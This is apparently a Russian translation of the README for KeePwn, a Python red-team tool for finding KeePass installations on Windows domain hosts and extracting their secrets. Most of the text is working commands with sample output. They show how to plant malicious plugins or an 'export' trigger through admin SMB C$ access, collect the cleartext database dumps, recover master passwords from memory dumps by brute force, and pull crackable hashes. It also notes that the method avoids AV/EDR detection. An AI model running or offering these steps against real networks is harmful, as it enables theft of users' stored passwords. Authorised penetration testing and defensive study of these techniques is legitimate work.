
Инструмент на Python для автоматизации обнаружения KeePass и извлечения секретов.

Python-скрипт для помощи red team-специалистам в обнаружении экземпляров KeePass и извлечении секретов.
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help
Или, если вы не хотите устанавливать, а просто запустить в virtualenv:
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help
Модуль search в KeePwn используется для идентификации хостов, на которых работает KeePass в вашей целевой среде:
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
[*] Starting remote KeePass search with 5 threads
[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found
Он использует встроенный в Active Directory ресурс C$ для поиска файлов, связанных с KeePass, в стандартных расположениях, поэтому требуются права администратора на целевых машинах.
Модуль сначала ищет конфигурационный файл KeePass.config.xml в папке %APPDATA%\KeePass каждого пользователя, а также KeePass.exe в стандартном пути установки (C:\Program Files\KeePass Password Safe 2). Если конфигурационный файл найден, но KeePass не установлен глобально, KeePwn будет искать портативные установки во вложенных папках до --max-depth уровней.
Этой базовой техники поиска должно быть достаточно для точного определения, используется ли KeePass на рабочей станции. Кроме того, опция --get-process использует реализацию RPC от Impacket для определения, запущен ли KeePass в данный момент на цели.
Также доступны различные опции для удобства: экспорт результатов поиска в CSV-файл, отображение только целей, где найден KeePass, и настройка количества параллельных потоков:
KeePass поддерживает фреймворк плагинов, который можно использовать для загрузки вредоносных DLL в процесс KeePass, позволяя атакующим с правами администратора легко экспортировать базу данных (см.: KeeFarceRebornPlugin).
Модуль plugin в KeePwn позволяет:
Вывести список установленных плагинов и перечислить кеш плагинов
$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
Добавлять и удалять ваши вредоносные плагины
$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll
[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
Опрашивать %APPDATA% на предмет экспортов и автоматически перемещать их с удалённого хоста в локальную файловую систему
Как описано в блог-посте @harmj0y (а позже CVE-2023-24055), система триггеров KeePass может быть использована для экспорта базы данных в открытом виде.
Модуль trigger в KeePwn позволяет:
Проверить, записан ли вредоносный триггер с именем "export" в конфигурации KeePass
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] No trigger found in KeePass configuration
Обратите внимание, что KeePwn предотвратит злоупотребление плагинами, если обнаруженная версия KeePass не подвержена этой технике.
Добавлять и удалять вредоносный триггер с именем "export", который выполняет экспорт базы данных в открытом виде в %APPDATA% при следующем запуске KeePass
❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
Как описано @vdohney, можно извлечь мастер-пароль базы данных из памяти (CVE-2023-32784, затрагивает версии до KeePass 2.54).
Модуль parse_dump в KeePwn ищет потенциальные кандидаты мастер-пароля в дампах. Поскольку результирующие строки (по дизайну) будут неполными, модуль также можно использовать для подбора недостающего первого символа методом перебора относительно указанного файла KDBX.
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx
[*] Searching for the master password in memory dump.. done!
[*] Found 15 candidates:
_@$$w0rd!!
_Ï$$w0rd!!
_§$$w0rd!!
_ñ$$w0rd!!
_D$$w0rd!!
_$$w0rd!!
_\$$w0rd!!
_#$$w0rd!!
_y$$w0rd!!
_k$$w0rd!!
_9$$w0rd!!
_;$$w0rd!!
_H$$w0rd!!
_>$$w0rd!!
_a$$w0rd!!
[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!
Разбор дампов памяти использует Python PoC от @CMEPW. Спасибо за разрешение повторно использовать код :)
Скрипт keepass2john.py от @harmjoy был портирован в KeePwn с помощью @0xSp3ctra.
Модуль convert в KeePwn извлекает хеш, доступный для взлома (формат john или hashcat), из базы данных KeePass.
KeePwn convert -d ./Database.kdbx
[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17
Его можно использовать с дополнительными аргументами для указания ожидаемого типа хеша и пути выходного файла:
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash
[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)
KDBX 4.x пока не поддерживается, вы можете использовать https://github.com/r3nt0n/keepass4brute. Если у вас есть желание сделать PR, https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format будет хорошим чтением :)
Приветствуются pull request'ы (см.: неотмеченные пункты в разделе Возможности + некоторые TODO в коде).
Не стесняйтесь открывать issue или писать мне в Twitter для предложений по улучшению.
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv
[*] Starting remote KeePass search with 4 threads
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)
[+] Search results logged to keepwn_out.csv
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
Эти действия выполняются через доступ к SMB C$ share, что ограничивает обнаружение AV/EDR, так как не выполняется команд.
Опрашивать %APPDATA% на предмет экспортов и автоматически перемещать их с удалённого хоста в локальную файловую систему
$ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
Если путь к конфигурационному файлу не является стандартным, вы можете указать его с помощью аргумента --config-path.